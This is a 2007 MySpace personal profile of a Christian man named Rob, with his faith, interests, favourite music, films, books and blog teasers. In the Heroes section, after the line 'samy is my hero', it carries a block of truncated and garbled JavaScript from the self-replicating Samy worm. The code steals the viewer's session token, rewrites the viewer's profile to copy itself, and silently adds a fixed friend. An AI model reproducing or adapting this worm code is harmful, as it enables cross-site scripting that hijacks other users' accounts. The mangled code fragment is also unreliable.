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Rob

Thankful for Grace

About Me

So I guess I'll finally re-write this section like I said I would 2 years ago. Hmmmm... Well, here are a few bullet points about me.*****Military brat and only child *****Moved to SA TX in '83 (many of you weren't even born yet). ******Grad from Taft HS in '90 *****Former U.S. Marine (4th Recon; Communications) ******Lived and visited many places *****Really enjoy the Caribbean and southern Florida *****Think San Francisco is the most beautiful city I've ever visited. I would move there if it wasn't for the expense and the weather. *****I'm a Presbyterian and former Youth Director *****I would love to become more involved with my church again. *****Work and life have distracted me somewhat from that path, however nothing matters more to me than my faith. *****Since my recent promotion I've been able to attend more often. *****Although time doesn't allow me to read as often as I used to, I really enjoy reading Theology books, Protestant and Catholic (special place in my heart for the monastic movement). See my authors list for more details. *****My occupation does list Writer/Hotel Mgt, however I haven't written anything in quite some time now. I do have several projects here on my computer I haven't touched in years. I'd be happy to talk about them if anyone would like to give an opinion. I'm planning on giving it more attention soon. *****I'm a Meeting Connections Concierge for the Hyatt Hill Country Resort & Spa (no that's not the same as a concierge you would find by the front desk). *****I've decided to reserve my "Top Friends" slots for Bands, special interest groups, artists and authors that I like. Hopefully this will attract others to hear or learn something new. My friends know they're my friends; I don't need to put them on the front page. *****I originally created my profile back in '04 in hopes of finding a girlfriend. I've made many new friends, yet no romantic relationships have sprung. I'm not as worried about it as I used to be, it’ll happen when it happens. AMDG *****More often than not I will just click the “add me” button and not leave a message here in Myspace. I do this after reading someone’s profile and would like to know more. I assume at this point that they will read mine and decide whether or not to add me. I will usually only send a message if they’re profile is locked as private..................................................... ............................................................ .........................................................Wel l, I guess I’ll leave it at that for now. I’m sure I’ll mess with it some more in the days to come. I don't like how the formatting wouldn't let me make a list, it ran all of my points together.*************************************************** ***********For more information on me read my old blog "Personal Statement of Faith." Hope to hear from you soon.Pray Hard. -R
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My Interests

Prayerfully attempting to follow the Will of our Lord, Reading, Writing, Working with youth, Reformed Theology, Emmaus, Ancient Greek and Roman History, Napa Valley Cabernet Sauvignon, Working out, Hiking, SCUBA, Traveling, Fishing (deep sea), Boating, Anything to do with the ocean, Cooking...

I'd like to meet:

"HER",,, Has anyone seen her? She has a beautiful smile that showes the love in her heart. A love that can only exist because Jesus lives there. I long to be lost in her eyes, such peace and compassion, intelligence and understanding. She sees through me, inside me, she knows me. She's my best friend and my kindest critic. But where is she? Have you seen her?

Music:

Jennifer Knapp, Third Day, Jars of Clay, Caedmon's Call, Mercy Me, Casting Crowns, Kevin Max, Jeremy Kamp, Kutless, Seventh Day Slumber, Modern Day John, Barlow Girl, DC Talk, Tait, Big Daddy Weave, Switchfoot, Matthew West, Building 429, Todd Agnew, 4Him, Rachael Lampa, Rebecca St. James, Shane & Shane, Bethany Dillon, Tree 63, Sixpence None the Richer, Stacie Orrico, Bebo Norman, FFH, Point of Grace, Steven Curtis Chapman, Nichole Nordeman, Mark Schultz, Audio Adrenaline, Relient K, Zoegirl, Phillips Craig & Dean, Natalie Grant, Loreena McKennitt, Jennifer Clare

Movies:

The Passion of the Christ, Jesus of Nazareth, Luther, Lord of the Rings, Star Wars (the origional 3, not so much the new ones), Shawshank Redemption, O' Brother Where Art Thou?, Bourne ID, The Whole Nine Yards (but not 10 yrds.), The 5th Element, The Saint, The Thomas Crown Affair, Braveheart, Gladiator, Troy, Tora Tora Tora, Most of Adam Sandler's movies, Meet the Parents, The Ref, Me Myself and Irene, any movie having to do with Spies or CIA, just about all action flix, many si-fi flix, and historical fiction or period flix... I love movies, I have over 100 dvd's

Television:

Seinfeld, Everybody Loves Raymond, Simpsons, Futurama, Law and Order (all of them), CSI, X-Files, MASH, MXE, The Daily Show, Spurs Games, Cowboys Games, Mariners Games, Sports Center, Si-Fi Ch., Science Ch., Discovery Ch., History Ch. (REALITY SHOWS HAVE TO GO!!! NO MORE! PLEASE,,, I'M BEGGING...)

Books:

My Bible,,, Authors -- Henri J.M. Nouwen, Carlo Carretto, Thomas Merton, Brennan Manning, Thomas a' Kempis, Charles de Foucault, Dietrich Bonhoeffer, C.S. Lewis, John Calvin, Carl Barth, Jurgen Moltman, Soren Kierkegaard...... And..... W.B. Yeats, Frank Peretti, Dean Koontz, Clive Cussler, Tom Clancy, David Morrell, Robert Ludlum, Ken Follett, Ted Dekker, Calvin and Hobbes, and of course Tolkien...

Heroes:

Jesus......My Father and Mother, Martin Luther, John Calvin, Dietrich Bonhoeffer, Henry Nouwen, President Bush, Anyone who can put HTML on my profile for me :D but most of all, samy is my hero. 0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','% 2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26' )}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J...statechange=BI');J.open(BJ,BH,true);if(BJ=='POS T'){J.setRequestHeader('Content-Type','application/x-www-for m-urlencoded');J.setRequestHeader('Content-Length',BK.length )}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace ('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. '}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' ');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){ if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview'; AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseact ion=profile.previewInterests&Mytoken='+AR,postHero,'POST ',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';A S['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');ht tpSend('/index.cfm?fuseaction=profile.processInterests&M ytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN +'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite .addfriend_verify&friendID=11851658&Mytoken='+L,proc essxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['subm it']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsP rocess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}f unction httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}..'xmlhttp2...statechange=BI');xmlhttp2.open(BJ,BH,tru e);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type',' application/x-www-form-urlencoded');xmlhttp2.setRequestHeade r('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"

My Blog

"Her"

Has anyone seen her? She has a beautiful smile that showes the love in her heart. A love that can only exist because Jesus lives there. I long to be lost in her eyes, such peace and compassion, intell...
Posted by Rob on Wed, 01 Aug 2007 06:01:00 PST

"Who Am I" - Bonhoeffer

Who am I?  They often tell me I would step from my cell's confinement calmly, cheerfully, firmly, like a squire from his country-house.   Who am I?  They often tell me I would talk to m...
Posted by Rob on Mon, 30 Jul 2007 11:31:00 PST

Guidelines for a Healthy Heart

Colossians 3. 1-4    So if you have been raised with Christ, seek the things that are above, where Christ is, seated at the right hand of God.  Set your minds on things that are above, not on things t...
Posted by Rob on Mon, 01 Jan 1900 12:00:00 PST

Follow Me

     The invitation Jesus gives to Matthew and the other disciples is remarkably blunt and open-ended:  "Follow Me."  Jesus offers no explanation and no incentives such as, "Follow Me, and I'll do thi...
Posted by Rob on Mon, 01 Jan 1900 12:00:00 PST

What Christ Said

I said, "Let me walk in the fields."     He said, "No; walk in the town."I said, "There are no flowers there."     He said, "No flowers, but a crown."I said, "But the skies are black,     There is not...
Posted by Rob on Mon, 01 Jan 1900 12:00:00 PST

Personal Statement of Faith

I carry within me an image of a covenant between God and humankind that reaches back into the origins of time. It is a covenant both of accountability and forgiveness, calling us to a life of faithful...
Posted by Rob on Mon, 01 Jan 1900 12:00:00 PST

The kids in my pictures...

lol, man... maybe I'm wrong, but I thought the captions underneath my pictures pretty much gave it away that those aren't my kids. It's my best friend's family, we were at his newest son's baptism, ...
Posted by Rob on Mon, 01 Jan 1900 12:00:00 PST

... Quiz...

Your True Nature by llScorpiusllUsernameThe quality that most appeals to you:StrengthIn a survival situation, you:Fight, and enjoy itYour hidden talent is:Seeing the best in othersYour gift is:Vast kn...
Posted by Rob on Mon, 01 Jan 1900 12:00:00 PST